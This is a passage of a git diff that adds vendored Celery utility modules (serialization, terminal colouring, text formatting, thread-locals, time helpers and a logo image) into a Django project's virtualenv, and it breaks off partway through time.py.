elif isinstance(val, _literal): + level += val.direction + yield val, it + elif isinstance(val, _key): + yield val, it + elif isinstance(val, Decimal): + yield _repr(val), it + elif isinstance(val, safe_t): + yield str(val), it + elif isinstance(val, chars_t): + yield _quoted(val), it + elif isinstance(val, range): # pragma: no cover + yield _repr(val), it + else: + if isinstance(val, set_t): + if not val: + yield _repr_empty_set(val), it + continue + lit_start, lit_end, val = _reprseq( + val, LIT_SET_START, LIT_SET_END, set, _chainlist, + ) + elif isinstance(val, tuple): + lit_start, lit_end, val = ( + LIT_TUPLE_START, + LIT_TUPLE_END_SV if len(val) == 1 else LIT_TUPLE_END, + _chainlist(val)) + elif isinstance(val, dict): + lit_start, lit_end, val = ( + LIT_DICT_START, LIT_DICT_END, _chaindict(val)) + elif isinstance(val, list): + lit_start, lit_end, val = ( + LIT_LIST_START, LIT_LIST_END, _chainlist(val)) + else: + # other type of object + yield _repr(val), it + continue + + if maxlevels and level >= maxlevels: + yield f'{lit_start.value}...{lit_end.value}', it + continue + + objid = id(orig) + if is_in_seen(objid): + yield _recursion(orig), it + continue + add_to_seen(objid) + + # Recurse into the new list/tuple/dict/etc by tacking + # the rest of our iterable onto the new it: this way + # it works similar to a linked list. + append(chain([lit_start], val, [_dirty(objid), lit_end], it)) + break diff --git a/django_lottopy/lib/python3.10/site-packages/celery/utils/serialization.py b/django_lottopy/lib/python3.10/site-packages/celery/utils/serialization.py new file mode 100644 index 00000000..c03a20f9 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/utils/serialization.py @@ -0,0 +1,266 @@ +"""Utilities for safely pickling exceptions.""" +import datetime +import numbers +import sys +from base64 import b64decode as base64decode +from base64 import b64encode as base64encode +from functools import partial +from inspect import getmro +from itertools import takewhile + +from kombu.utils.encoding import bytes_to_str, safe_repr, str_to_bytes + +try: + import cPickle as pickle +except ImportError: + import pickle + +__all__ = ( + 'UnpickleableExceptionWrapper', 'subclass_exception', + 'find_pickleable_exception', 'create_exception_cls', + 'get_pickleable_exception', 'get_pickleable_etype', + 'get_pickled_exception', 'strtobool', +) + +#: List of base classes we probably don't want to reduce to. +unwanted_base_classes = (Exception, BaseException, object) + +STRTOBOOL_DEFAULT_TABLE = {'false': False, 'no': False, '0': False, + 'true': True, 'yes': True, '1': True, + 'on': True, 'off': False} + + +def subclass_exception(name, parent, module): + """Create new exception class.""" + return type(name, (parent,), {'__module__': module}) + + +def find_pickleable_exception(exc, loads=pickle.loads, + dumps=pickle.dumps): + """Find first pickleable exception base class. + + With an exception instance, iterate over its super classes (by MRO) + and find the first super exception that's pickleable. It does + not go below :exc:`Exception` (i.e., it skips :exc:`Exception`, + :class:`BaseException` and :class:`object`). If that happens + you should use :exc:`UnpickleableException` instead. + + Arguments: + exc (BaseException): An exception instance. + loads: decoder to use. + dumps: encoder to use + + Returns: + Exception: Nearest pickleable parent exception class + (except :exc:`Exception` and parents), or if the exception is + pickleable it will return :const:`None`. + """ + exc_args = getattr(exc, 'args', []) + for supercls in itermro(exc.__class__, unwanted_base_classes): + try: + superexc = supercls(*exc_args) + loads(dumps(superexc)) + except Exception: # pylint: disable=broad-except + pass + else: + return superexc + + +def itermro(cls, stop): + return takewhile(lambda sup: sup not in stop, getmro(cls)) + + +def create_exception_cls(name, module, parent=None): + """Dynamically create an exception class.""" + if not parent: + parent = Exception + return subclass_exception(name, parent, module) + + +def ensure_serializable(items, encoder): + """Ensure items will serialize. + + For a given list of arbitrary objects, return the object + or a string representation, safe for serialization. + + Arguments: + items (Iterable[Any]): Objects to serialize. + encoder (Callable): Callable function to serialize with. + """ + safe_exc_args = [] + for arg in items: + try: + encoder(arg) + safe_exc_args.append(arg) + except Exception: # pylint: disable=broad-except + safe_exc_args.append(safe_repr(arg)) + return tuple(safe_exc_args) + + +class UnpickleableExceptionWrapper(Exception): + """Wraps unpickleable exceptions. + + Arguments: + exc_module (str): See :attr:`exc_module`. + exc_cls_name (str): See :attr:`exc_cls_name`. + exc_args (Tuple[Any, ...]): See :attr:`exc_args`. + + Example: + >>> def pickle_it(raising_function): + ... try: + ... raising_function() + ... except Exception as e: + ... exc = UnpickleableExceptionWrapper( + ... e.__class__.__module__, + ... e.__class__.__name__, + ... e.args, + ... ) + ... pickle.dumps(exc) # Works fine. + """ + + #: The module of the original exception. + exc_module = None + + #: The name of the original exception class. + exc_cls_name = None + + #: The arguments for the original exception. + exc_args = None + + def __init__(self, exc_module, exc_cls_name, exc_args, text=None): + safe_exc_args = ensure_serializable(exc_args, pickle.dumps) + self.exc_module = exc_module + self.exc_cls_name = exc_cls_name + self.exc_args = safe_exc_args + self.text = text + super().__init__(exc_module, exc_cls_name, safe_exc_args, + text) + + def restore(self): + return create_exception_cls(self.exc_cls_name, + self.exc_module)(*self.exc_args) + + def __str__(self): + return self.text + + @classmethod + def from_exception(cls, exc): + return cls(exc.__class__.__module__, + exc.__class__.__name__, + getattr(exc, 'args', []), + safe_repr(exc)) + + +def get_pickleable_exception(exc): + """Make sure exception is pickleable.""" + try: + pickle.loads(pickle.dumps(exc)) + except Exception: # pylint: disable=broad-except + pass + else: + return exc + nearest = find_pickleable_exception(exc) + if nearest: + return nearest + return UnpickleableExceptionWrapper.from_exception(exc) + + +def get_pickleable_etype(cls, loads=pickle.loads, dumps=pickle.dumps): + """Get pickleable exception type.""" + try: + loads(dumps(cls)) + except Exception: # pylint: disable=broad-except + return Exception + else: + return cls + + +def get_pickled_exception(exc): + """Reverse of :meth:`get_pickleable_exception`.""" + if isinstance(exc, UnpickleableExceptionWrapper): + return exc.restore() + return exc + + +def b64encode(s): + return bytes_to_str(base64encode(str_to_bytes(s))) + + +def b64decode(s): + return base64decode(str_to_bytes(s)) + + +def strtobool(term, table=None): + """Convert common terms for true/false to bool. + + Examples (true/false/yes/no/on/off/1/0). + """ + if table is None: + table = STRTOBOOL_DEFAULT_TABLE + if isinstance(term, str): + try: + return table[term.lower()] + except KeyError: + raise TypeError(f'Cannot coerce {term!r} to type bool') + return term + + +def _datetime_to_json(dt): + # See "Date Time String Format" in the ECMA-262 specification. + if isinstance(dt, datetime.datetime): + r = dt.isoformat() + if dt.microsecond: + r = r[:23] + r[26:] + if r.endswith('+00:00'): + r = r[:-6] + 'Z' + return r + elif isinstance(dt, datetime.time): + r = dt.isoformat() + if dt.microsecond: + r = r[:12] + return r + else: + return dt.isoformat() + + +def jsonify(obj, + builtin_types=(numbers.Real, str), key=None, + keyfilter=None, + unknown_type_filter=None): + """Transform object making it suitable for json serialization.""" + from kombu.abstract import Object as KombuDictType + _jsonify = partial(jsonify, builtin_types=builtin_types, key=key, + keyfilter=keyfilter, + unknown_type_filter=unknown_type_filter) + + if isinstance(obj, KombuDictType): + obj = obj.as_dict(recurse=True) + + if obj is None or isinstance(obj, builtin_types): + return obj + elif isinstance(obj, (tuple, list)): + return [_jsonify(v) for v in obj] + elif isinstance(obj, dict): + return { + k: _jsonify(v, key=k) for k, v in obj.items() + if (keyfilter(k) if keyfilter else 1) + } + elif isinstance(obj, (datetime.date, datetime.time)): + return _datetime_to_json(obj) + elif isinstance(obj, datetime.timedelta): + return str(obj) + else: + if unknown_type_filter is None: + raise ValueError( + f'Unsupported type: {type(obj)!r} {obj!r} (parent: {key})' + ) + return unknown_type_filter(obj) + + +def raise_with_context(exc): + exc_info = sys.exc_info() + if not exc_info: + raise exc + elif exc_info[1] is exc: + raise + raise exc from exc_info[1] diff --git a/django_lottopy/lib/python3.10/site-packages/celery/utils/static/__init__.py b/django_lottopy/lib/python3.10/site-packages/celery/utils/static/__init__.py new file mode 100644 index 00000000..5051e5a0 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/utils/static/__init__.py @@ -0,0 +1,14 @@ +"""Static files.""" +import os + + +def get_file(*args): + # type: (*str) -> str + """Get filename for static file.""" + return os.path.join(os.path.abspath(os.path.dirname(__file__)), *args) + + +def logo(): + # type: () -> bytes + """Celery logo image.""" + return get_file('celery_128.png') diff --git a/django_lottopy/lib/python3.10/site-packages/celery/utils/static/celery_128.png b/django_lottopy/lib/python3.10/site-packages/celery/utils/static/celery_128.png new file mode 100644 index 0000000000000000000000000000000000000000..c3ff2d13d0592c3e082588f95330360f12505233 GIT binary patch literal 2556 zcmb_ec{r478=sIRyGS9uMp^odnK8yP8JcEjrc9OyeMw{HmBB2=U`Pz5M!u6n(PBO2 zRE$&ED~gUSou<{4t%xkiAr(o6GgIk&e|&v^o%g!l_qm_vx_`g>e(wACJlC7%xnryP z3WF682t=JkBzQ|lzU)<2lzy9>DSt?ZHC$JJ?oL(+H4n4M#Y_kq8(9i9sSTHVEL` z1C>VO&_XcY1h;Roq%$lul*?sf;PBYkSnF7nHH)(!j&yW%gd=R=Ha0M+2P`U%$))gM z%qY_(1_BsG< ztKAlR92$qlJJ{LT*tt5OZI`eF7B!jyGPz4w+TU2*53w>qFxb+_1dv0I0cma=76bUQ zaSZ*(x!C`Z?;Do(<6Inmh=og&fy>(aU+rF6l4?k1eiyHF@?HKQQ>uB6RNPwR+g%Wd zVi<{l^Wk-m=X*`4H3+@R=? z`SgJ3P?{3l3|+0OX|Vl2)sIe;ha$=i3`=~J(VfBgl|}P~5)^7-FD3F>%J}{JPDn}O z*>#lxJXEeEaah!I=HSi@FhH%hfyh$@WJg^Nq73<`j2Pn;i!Y~mMgd(dZw`v8MvKEP z#tXtUeFYl@wcTr-K0LVMcG2|3UCS%GTWz}xr-+>8*mXrg;XXp2QziF34|eK~p?P)V z&tE#t<1FPoM?Z%~W|iiaYGevbF173*xcxk7PE3?o`?(=X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DD>*gj>dI?GeVPqoN6uXBsF#6sCK`zF>L_$58uXLZ*_itbC8@G#Eb literal 0 HcmV?d00001 diff --git a/django_lottopy/lib/python3.10/site-packages/celery/utils/sysinfo.py b/django_lottopy/lib/python3.10/site-packages/celery/utils/sysinfo.py new file mode 100644 index 00000000..57425dd8 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/utils/sysinfo.py @@ -0,0 +1,48 @@ +"""System information utilities.""" +import os +from math import ceil + +from kombu.utils.objects import cached_property + +__all__ = ('load_average', 'df') + + +if hasattr(os, 'getloadavg'): + + def _load_average(): + return tuple(ceil(l * 1e2) / 1e2 for l in os.getloadavg()) + +else: # pragma: no cover + # Windows doesn't have getloadavg + def _load_average(): + return (0.0, 0.0, 0.0) + + +def load_average(): + """Return system load average as a triple.""" + return _load_average() + + +class df: + """Disk information.""" + + def __init__(self, path): + self.path = path + + @property + def total_blocks(self): + return self.stat.f_blocks * self.stat.f_frsize / 1024 + + @property + def available(self): + return self.stat.f_bavail * self.stat.f_frsize / 1024 + + @property + def capacity(self): + avail = self.stat.f_bavail + used = self.stat.f_blocks - self.stat.f_bfree + return int(ceil(used * 100.0 / (used + avail) + 0.5)) + + @cached_property + def stat(self): + return os.statvfs(os.path.abspath(self.path)) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/utils/term.py b/django_lottopy/lib/python3.10/site-packages/celery/utils/term.py new file mode 100644 index 00000000..01c60add --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/utils/term.py @@ -0,0 +1,179 @@ +"""Terminals and colors.""" +import base64 +import codecs +import os +import platform +import sys +from functools import reduce + +from celery.platforms import isatty + +__all__ = ('colored',) + +BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8) +OP_SEQ = '\033[%dm' +RESET_SEQ = '\033[0m' +COLOR_SEQ = '\033[1;%dm' + +IS_WINDOWS = platform.system() == 'Windows' + +ITERM_PROFILE = os.environ.get('ITERM_PROFILE') +TERM = os.environ.get('TERM') +TERM_IS_SCREEN = TERM and TERM.startswith('screen') + +# tmux requires unrecognized OSC sequences to be wrapped with DCS tmux; +# ST, and for all ESCs in to be replaced with ESC ESC. +# It only accepts ESC backslash for ST. +_IMG_PRE = '\033Ptmux;\033\033]' if TERM_IS_SCREEN else '\033]' +_IMG_POST = '\a\033\\' if TERM_IS_SCREEN else '\a' + + +def fg(s): + return COLOR_SEQ % s + + +class colored: + """Terminal colored text. + + Example: + >>> c = colored(enabled=True) + >>> print(str(c.red('the quick '), c.blue('brown ', c.bold('fox ')), + ... c.magenta(c.underline('jumps over')), + ... c.yellow(' the lazy '), + ... c.green('dog '))) + """ + + def __init__(self, *s, **kwargs): + self.s = s + self.enabled = not IS_WINDOWS and kwargs.get('enabled', True) + self.op = kwargs.get('op', '') + self.names = { + 'black': self.black, + 'red': self.red, + 'green': self.green, + 'yellow': self.yellow, + 'blue': self.blue, + 'magenta': self.magenta, + 'cyan': self.cyan, + 'white': self.white, + } + + def _add(self, a, b): + return str(a) + str(b) + + def _fold_no_color(self, a, b): + try: + A = a.no_color() + except AttributeError: + A = str(a) + try: + B = b.no_color() + except AttributeError: + B = str(b) + + return ''.join((str(A), str(B))) + + def no_color(self): + if self.s: + return str(reduce(self._fold_no_color, self.s)) + return '' + + def embed(self): + prefix = '' + if self.enabled: + prefix = self.op + return ''.join((str(prefix), str(reduce(self._add, self.s)))) + + def __str__(self): + suffix = '' + if self.enabled: + suffix = RESET_SEQ + return str(''.join((self.embed(), str(suffix)))) + + def node(self, s, op): + return self.__class__(enabled=self.enabled, op=op, *s) + + def black(self, *s): + return self.node(s, fg(30 + BLACK)) + + def red(self, *s): + return self.node(s, fg(30 + RED)) + + def green(self, *s): + return self.node(s, fg(30 + GREEN)) + + def yellow(self, *s): + return self.node(s, fg(30 + YELLOW)) + + def blue(self, *s): + return self.node(s, fg(30 + BLUE)) + + def magenta(self, *s): + return self.node(s, fg(30 + MAGENTA)) + + def cyan(self, *s): + return self.node(s, fg(30 + CYAN)) + + def white(self, *s): + return self.node(s, fg(30 + WHITE)) + + def __repr__(self): + return repr(self.no_color()) + + def bold(self, *s): + return self.node(s, OP_SEQ % 1) + + def underline(self, *s): + return self.node(s, OP_SEQ % 4) + + def blink(self, *s): + return self.node(s, OP_SEQ % 5) + + def reverse(self, *s): + return self.node(s, OP_SEQ % 7) + + def bright(self, *s): + return self.node(s, OP_SEQ % 8) + + def ired(self, *s): + return self.node(s, fg(40 + RED)) + + def igreen(self, *s): + return self.node(s, fg(40 + GREEN)) + + def iyellow(self, *s): + return self.node(s, fg(40 + YELLOW)) + + def iblue(self, *s): + return self.node(s, fg(40 + BLUE)) + + def imagenta(self, *s): + return self.node(s, fg(40 + MAGENTA)) + + def icyan(self, *s): + return self.node(s, fg(40 + CYAN)) + + def iwhite(self, *s): + return self.node(s, fg(40 + WHITE)) + + def reset(self, *s): + return self.node(s or [''], RESET_SEQ) + + def __add__(self, other): + return str(self) + str(other) + + +def supports_images(): + return isatty(sys.stdin) and ITERM_PROFILE + + +def _read_as_base64(path): + with codecs.open(path, mode='rb') as fh: + encoded = base64.b64encode(fh.read()) + return encoded if type(encoded) == 'str' else encoded.decode('ascii') + + +def imgcat(path, inline=1, preserve_aspect_ratio=0, **kwargs): + return '\n%s1337;File=inline=%d;preserveAspectRatio=%d:%s%s' % ( + _IMG_PRE, inline, preserve_aspect_ratio, + _read_as_base64(path), _IMG_POST) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/utils/text.py b/django_lottopy/lib/python3.10/site-packages/celery/utils/text.py new file mode 100644 index 00000000..8f4a321e --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/utils/text.py @@ -0,0 +1,206 @@ +"""Text formatting utilities.""" +import io +import re +from collections.abc import Callable +from functools import partial +from pprint import pformat +from textwrap import fill +from typing import Any, List, Mapping, Pattern + +__all__ = ( + 'abbr', 'abbrtask', 'dedent', 'dedent_initial', + 'ensure_newlines', 'ensure_sep', + 'fill_paragraphs', 'indent', 'join', + 'pluralize', 'pretty', 'str_to_list', 'simple_format', 'truncate', +) + +UNKNOWN_SIMPLE_FORMAT_KEY = """ +Unknown format %{0} in string {1!r}. +Possible causes: Did you forget to escape the expand sign (use '%%{0!r}'), +or did you escape and the value was expanded twice? (%%N -> %N -> %hostname)? +""".strip() + +RE_FORMAT = re.compile(r'%(\w)') + + +def str_to_list(s): + # type: (str) -> List[str] + """Convert string to list.""" + if isinstance(s, str): + return s.split(',') + return s + + +def dedent_initial(s, n=4): + # type: (str, int) -> str + """Remove indentation from first line of text.""" + return s[n:] if s[:n] == ' ' * n else s + + +def dedent(s, n=4, sep='\n'): + # type: (str, int, str) -> str + """Remove indentation.""" + return sep.join(dedent_initial(l) for l in s.splitlines()) + + +def fill_paragraphs(s, width, sep='\n'): + # type: (str, int, str) -> str + """Fill paragraphs with newlines (or custom separator).""" + return sep.join(fill(p, width) for p in s.split(sep)) + + +def join(l, sep='\n'): + # type: (str, str) -> str + """Concatenate list of strings.""" + return sep.join(v for v in l if v) + + +def ensure_sep(sep, s, n=2): + # type: (str, str, int) -> str + """Ensure text s ends in separator sep'.""" + return s + sep * (n - s.count(sep)) + + +ensure_newlines = partial(ensure_sep, '\n') + + +def abbr(S, max, ellipsis='...'): + # type: (str, int, str) -> str + """Abbreviate word.""" + if S is None: + return '???' + if len(S) > max: + return ellipsis and (S[:max - len(ellipsis)] + ellipsis) or S[:max] + return S + + +def abbrtask(S, max): + # type: (str, int) -> str + """Abbreviate task name.""" + if S is None: + return '???' + if len(S) > max: + module, _, cls = S.rpartition('.') + module = abbr(module, max - len(cls) - 3, False) + return module + '[.]' + cls + return S + + +def indent(t, indent=0, sep='\n'): + # type: (str, int, str) -> str + """Indent text.""" + return sep.join(' ' * indent + p for p in t.split(sep)) + + +def truncate(s, maxlen=128, suffix='...'): + # type: (str, int, str) -> str + """Truncate text to a maximum number of characters.""" + if maxlen and len(s) >= maxlen: + return s[:maxlen].rsplit(' ', 1)[0] + suffix + return s + + +def pluralize(n, text, suffix='s'): + # type: (int, str, str) -> str + """Pluralize term when n is greater than one.""" + if n != 1: + return text + suffix + return text + + +def pretty(value, width=80, nl_width=80, sep='\n', **kw): + # type: (str, int, int, str, **Any) -> str + """Format value for printing to console.""" + if isinstance(value, dict): + return f'{{{sep} {pformat(value, 4, nl_width)[1:]}' + elif isinstance(value, tuple): + return '{}{}{}'.format( + sep, ' ' * 4, pformat(value, width=nl_width, **kw), + ) + else: + return pformat(value, width=width, **kw) + + +def match_case(s, other): + # type: (str, str) -> str + return s.upper() if other.isupper() else s.lower() + + +def simple_format(s, keys, pattern=RE_FORMAT, expand=r'\1'): + # type: (str, Mapping[str, str], Pattern, str) -> str + """Format string, expanding abbreviations in keys'.""" + if s: + keys.setdefault('%', '%') + + def resolve(match): + key = match.expand(expand) + try: + resolver = keys[key] + except KeyError: + raise ValueError(UNKNOWN_SIMPLE_FORMAT_KEY.format(key, s)) + if isinstance(resolver, Callable): + return resolver() + return resolver + + return pattern.sub(resolve, s) + return s + + +def remove_repeating_from_task(task_name, s): + # type: (str, str) -> str + """Given task name, remove repeating module names. + + Example: + >>> remove_repeating_from_task( + ... 'tasks.add', + ... 'tasks.add(2, 2), tasks.mul(3), tasks.div(4)') + 'tasks.add(2, 2), mul(3), div(4)' + """ + # This is used by e.g. repr(chain), to remove repeating module names. + # - extract the module part of the task name + module = str(task_name).rpartition('.')[0] + '.' + return remove_repeating(module, s) + + +def remove_repeating(substr, s): + # type: (str, str) -> str + """Remove repeating module names from string. + + Arguments: + task_name (str): Task name (full path including module), + to use as the basis for removing module names. + s (str): The string we want to work on. + + Example: + + >>> _shorten_names( + ... 'x.tasks.add', + ... 'x.tasks.add(2, 2) | x.tasks.add(4) | x.tasks.mul(8)', + ... ) + 'x.tasks.add(2, 2) | add(4) | mul(8)' + """ + # find the first occurrence of substr in the string. + index = s.find(substr) + if index >= 0: + return ''.join([ + # leave the first occurrence of substr untouched. + s[:index + len(substr)], + # strip seen substr from the rest of the string. + s[index + len(substr):].replace(substr, ''), + ]) + return s + + +StringIO = io.StringIO +_SIO_write = StringIO.write +_SIO_init = StringIO.__init__ + + +class WhateverIO(StringIO): + """StringIO that takes bytes or str.""" + + def __init__(self, v=None, *a, **kw): + _SIO_init(self, v.decode() if isinstance(v, bytes) else v, *a, **kw) + + def write(self, data): + _SIO_write(self, data.decode() if isinstance(data, bytes) else data) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/utils/threads.py b/django_lottopy/lib/python3.10/site-packages/celery/utils/threads.py new file mode 100644 index 00000000..94c6f617 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/utils/threads.py @@ -0,0 +1,331 @@ +"""Threading primitives and utilities.""" +import os +import socket +import sys +import threading +import traceback +from contextlib import contextmanager +from threading import TIMEOUT_MAX as THREAD_TIMEOUT_MAX + +from celery.local import Proxy + +try: + from greenlet import getcurrent as get_ident +except ImportError: # pragma: no cover + try: + from _thread import get_ident + except ImportError: + try: + from thread import get_ident + except ImportError: # pragma: no cover + try: + from _dummy_thread import get_ident + except ImportError: + from dummy_thread import get_ident + + +__all__ = ( + 'bgThread', 'Local', 'LocalStack', 'LocalManager', + 'get_ident', 'default_socket_timeout', +) + +USE_FAST_LOCALS = os.environ.get('USE_FAST_LOCALS') + + +@contextmanager +def default_socket_timeout(timeout): + """Context temporarily setting the default socket timeout.""" + prev = socket.getdefaulttimeout() + socket.setdefaulttimeout(timeout) + yield + socket.setdefaulttimeout(prev) + + +class bgThread(threading.Thread): + """Background service thread.""" + + def __init__(self, name=None, **kwargs): + super().__init__() + self.__is_shutdown = threading.Event() + self.__is_stopped = threading.Event() + self.daemon = True + self.name = name or self.__class__.__name__ + + def body(self): + raise NotImplementedError() + + def on_crash(self, msg, *fmt, **kwargs): + print(msg.format(*fmt), file=sys.stderr) + traceback.print_exc(None, sys.stderr) + + def run(self): + body = self.body + shutdown_set = self.__is_shutdown.is_set + try: + while not shutdown_set(): + try: + body() + except Exception as exc: # pylint: disable=broad-except + try: + self.on_crash('{0!r} crashed: {1!r}', self.name, exc) + self._set_stopped() + finally: + sys.stderr.flush() + os._exit(1) # exiting by normal means won't work + finally: + self._set_stopped() + + def _set_stopped(self): + try: + self.__is_stopped.set() + except TypeError: # pragma: no cover + # we lost the race at interpreter shutdown, + # so gc collected built-in modules. + pass + + def stop(self): + """Graceful shutdown.""" + self.__is_shutdown.set() + self.__is_stopped.wait() + if self.is_alive(): + self.join(THREAD_TIMEOUT_MAX) + + +def release_local(local): + """Release the contents of the local for the current context. + + This makes it possible to use locals without a manager. + + With this function one can release :class:`Local` objects as well as + :class:`StackLocal` objects. However it's not possible to + release data held by proxies that way, one always has to retain + a reference to the underlying local object in order to be able + to release it. + + Example: + >>> loc = Local() + >>> loc.foo = 42 + >>> release_local(loc) + >>> hasattr(loc, 'foo') + False + """ + local.__release_local__() + + +class Local: + """Local object.""" + + __slots__ = ('__storage__', '__ident_func__') + + def __init__(self): + object.__setattr__(self, '__storage__', {}) + object.__setattr__(self, '__ident_func__', get_ident) + + def __iter__(self): + return iter(self.__storage__.items()) + + def __call__(self, proxy): + """Create a proxy for a name.""" + return Proxy(self, proxy) + + def __release_local__(self): + self.__storage__.pop(self.__ident_func__(), None) + + def __getattr__(self, name): + try: + return self.__storage__[self.__ident_func__()][name] + except KeyError: + raise AttributeError(name) + + def __setattr__(self, name, value): + ident = self.__ident_func__() + storage = self.__storage__ + try: + storage[ident][name] = value + except KeyError: + storage[ident] = {name: value} + + def __delattr__(self, name): + try: + del self.__storage__[self.__ident_func__()][name] + except KeyError: + raise AttributeError(name) + + +class _LocalStack: + """Local stack. + + This class works similar to a :class:`Local` but keeps a stack + of objects instead. This is best explained with an example:: + + >>> ls = LocalStack() + >>> ls.push(42) + >>> ls.top + 42 + >>> ls.push(23) + >>> ls.top + 23 + >>> ls.pop() + 23 + >>> ls.top + 42 + + They can be force released by using a :class:`LocalManager` or with + the :func:`release_local` function but the correct way is to pop the + item from the stack after using. When the stack is empty it will + no longer be bound to the current context (and as such released). + + By calling the stack without arguments it will return a proxy that + resolves to the topmost item on the stack. + """ + + def __init__(self): + self._local = Local() + + def __release_local__(self): + self._local.__release_local__() + + def _get__ident_func__(self): + return self._local.__ident_func__ + + def _set__ident_func__(self, value): + object.__setattr__(self._local, '__ident_func__', value) + __ident_func__ = property(_get__ident_func__, _set__ident_func__) + del _get__ident_func__, _set__ident_func__ + + def __call__(self): + def _lookup(): + rv = self.top + if rv is None: + raise RuntimeError('object unbound') + return rv + return Proxy(_lookup) + + def push(self, obj): + """Push a new item to the stack.""" + rv = getattr(self._local, 'stack', None) + if rv is None: + # pylint: disable=assigning-non-slot + # This attribute is defined now. + self._local.stack = rv = [] + rv.append(obj) + return rv + + def pop(self): + """Remove the topmost item from the stack. + + Note: + Will return the old value or `None` if the stack was already empty. + """ + stack = getattr(self._local, 'stack', None) + if stack is None: + return None + elif len(stack) == 1: + release_local(self._local) + return stack[-1] + else: + return stack.pop() + + def __len__(self): + stack = getattr(self._local, 'stack', None) + return len(stack) if stack else 0 + + @property + def stack(self): + # get_current_worker_task uses this to find + # the original task that was executed by the worker. + stack = getattr(self._local, 'stack', None) + if stack is not None: + return stack + return [] + + @property + def top(self): + """The topmost item on the stack. + + Note: + If the stack is empty, :const:`None` is returned. + """ + try: + return self._local.stack[-1] + except (AttributeError, IndexError): + return None + + +class LocalManager: + """Local objects cannot manage themselves. + + For that you need a local manager. + You can pass a local manager multiple locals or add them + later by appending them to ``manager.locals``. Every time the manager + cleans up, it will clean up all the data left in the locals for this + context. + + The ``ident_func`` parameter can be added to override the default ident + function for the wrapped locals. + """ + + def __init__(self, locals=None, ident_func=None): + if locals is None: + self.locals = [] + elif isinstance(locals, Local): + self.locals = [locals] + else: + self.locals = list(locals) + if ident_func is not None: + self.ident_func = ident_func + for local in self.locals: + object.__setattr__(local, '__ident_func__', ident_func) + else: + self.ident_func = get_ident + + def get_ident(self): + """Return context identifier. + + This is the identifier the local objects use internally + for this context. You cannot override this method to change the + behavior but use it to link other context local objects (such as + SQLAlchemy's scoped sessions) to the Werkzeug locals. + """ + return self.ident_func() + + def cleanup(self): + """Manually clean up the data in the locals for this context. + + Call this at the end of the request or use ``make_middleware()``. + """ + for local in self.locals: + release_local(local) + + def __repr__(self): + return '<{} storages: {}>'.format( + self.__class__.__name__, len(self.locals)) + + +class _FastLocalStack(threading.local): + + def __init__(self): + self.stack = [] + self.push = self.stack.append + self.pop = self.stack.pop + super().__init__() + + @property + def top(self): + try: + return self.stack[-1] + except (AttributeError, IndexError): + return None + + def __len__(self): + return len(self.stack) + + +if USE_FAST_LOCALS: # pragma: no cover + LocalStack = _FastLocalStack +else: # pragma: no cover + # - See #706 + # since each thread has its own greenlet we can just use those as + # identifiers for the context. If greenlets aren't available we + # fall back to the current thread ident. + LocalStack = _LocalStack diff --git a/django_lottopy/lib/python3.10/site-packages/celery/utils/time.py b/django_lottopy/lib/python3.10/site-packages/celery/utils/time.py new file mode 100644 index 00000000..c898b90e --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/utils/time.py @@ -0,0 +1,388 @@ +"""Utilities related to dates, times, intervals, and timezones.""" +import numbers +import os +import random +import time as _time +from calendar import monthrange +from datetime import date, datetime, timedelta, tzinfo + +from kombu.utils.functional import reprcall +from kombu.utils.objects import cached_property +from pytz import AmbiguousTimeError, FixedOffset +from pytz import timezone as _timezone +from pytz import utc + +from .functional import dictfilter +from .iso8601 import parse_iso8601 +from .text import pluralize + +__all__ = ( + 'LocalTimezone', 'timezone', 'maybe_timedelta', + 'delta_resolution', 'remaining', 'rate', 'weekday', + 'humanize_seconds', 'maybe_iso8601', 'is_naive', + 'make_aware', 'localize', 'to_utc', 'maybe_make_aware', + 'ffwd', 'utcoffset', 'adjust_timestamp', + 'get_exponential_backoff_interval', +) + +C_REMDEBUG = os.environ.get('C_REMDEBUG', False) + +DAYNAMES = 'sun', 'mon', 'tue', 'wed', 'thu', 'fri', 'sat' +WEEKDAYS = dict(zip(DAYNAMES, range(7))) + +RATE_MODIFIER_MAP = { + 's': lambda n: n, + 'm': lambda n: n / 60.0, + 'h': lambda n: n / 60.0 / 60.0, +} + +TIME_UNITS = ( + ('day', 60 * 60 * 24.0, lambda n: format(n, '.2f')), + ('hour', 60 * 60.0, lambda n: format(n, '.2f')), + ('minute', 60.0, lambda n: format(n, '.2f')), + ('second', 1.0, lambda n: format(n, '.2f')), +) + +ZERO = timedelta(0) + +_local_timezone = None + + +class LocalTimezone(tzinfo): + """Local time implementation. + + Note: + Used only when the :setting:`enable_utc` setting is disabled. + """ + + _offset_cache = {} + + def __init__(self): + # This code is moved in __init__ to execute it as late as possible + # See get_default_timezone(). + self.STDOFFSET = timedelta(seconds=-_time.timezone) + if _time.daylight: + self.DSTOFFSET = timedelta(seconds=-_time.altzone) + else: + self.DSTOFFSET = self.STDOFFSET + self.DSTDIFF = self.DSTOFFSET - self.STDOFFSET + super().__init__() + + def __repr__(self): + return f'' + + def utcoffset(self, dt): + return self.DSTOFFSET if self._isdst(dt) else self.STDOFFSET + + def dst(self, dt): + return self.DSTDIFF if self._isdst(dt) else ZERO + + def tzname(self, dt): + return _time.tzname[self._isdst(dt)] + + def fromutc(self, dt): + # The base tzinfo class no longer implements a DST + # offset aware .fromutc() in Python 3 (Issue #2306). + + # I'd rather rely on pytz to do this, than port + # the C code from cpython's fromutc [asksol] + offset = int(self.utcoffset(dt).seconds / 60.0) + try: + tz = self._offset_cache[offset] + except KeyError: + tz = self._offset_cache[offset] = FixedOffset(offset) + return tz.fromutc(dt.replace(tzinfo=tz)) + + def _isdst(self, dt): + tt = (dt.year, dt.month, dt.day, + dt.hour, dt.minute, dt.second, + dt.weekday(), 0, 0) + stamp = _time.mktime(tt) + tt = _time.localtime(stamp) + return tt.tm_isdst > 0 + + +class _Zone: + + def tz_or_local(self, tzinfo=None): + # pylint: disable=redefined-outer-name + if tzinfo is None: + return self.local + return self.get_timezone(tzinfo) + + def to_local(self, dt, 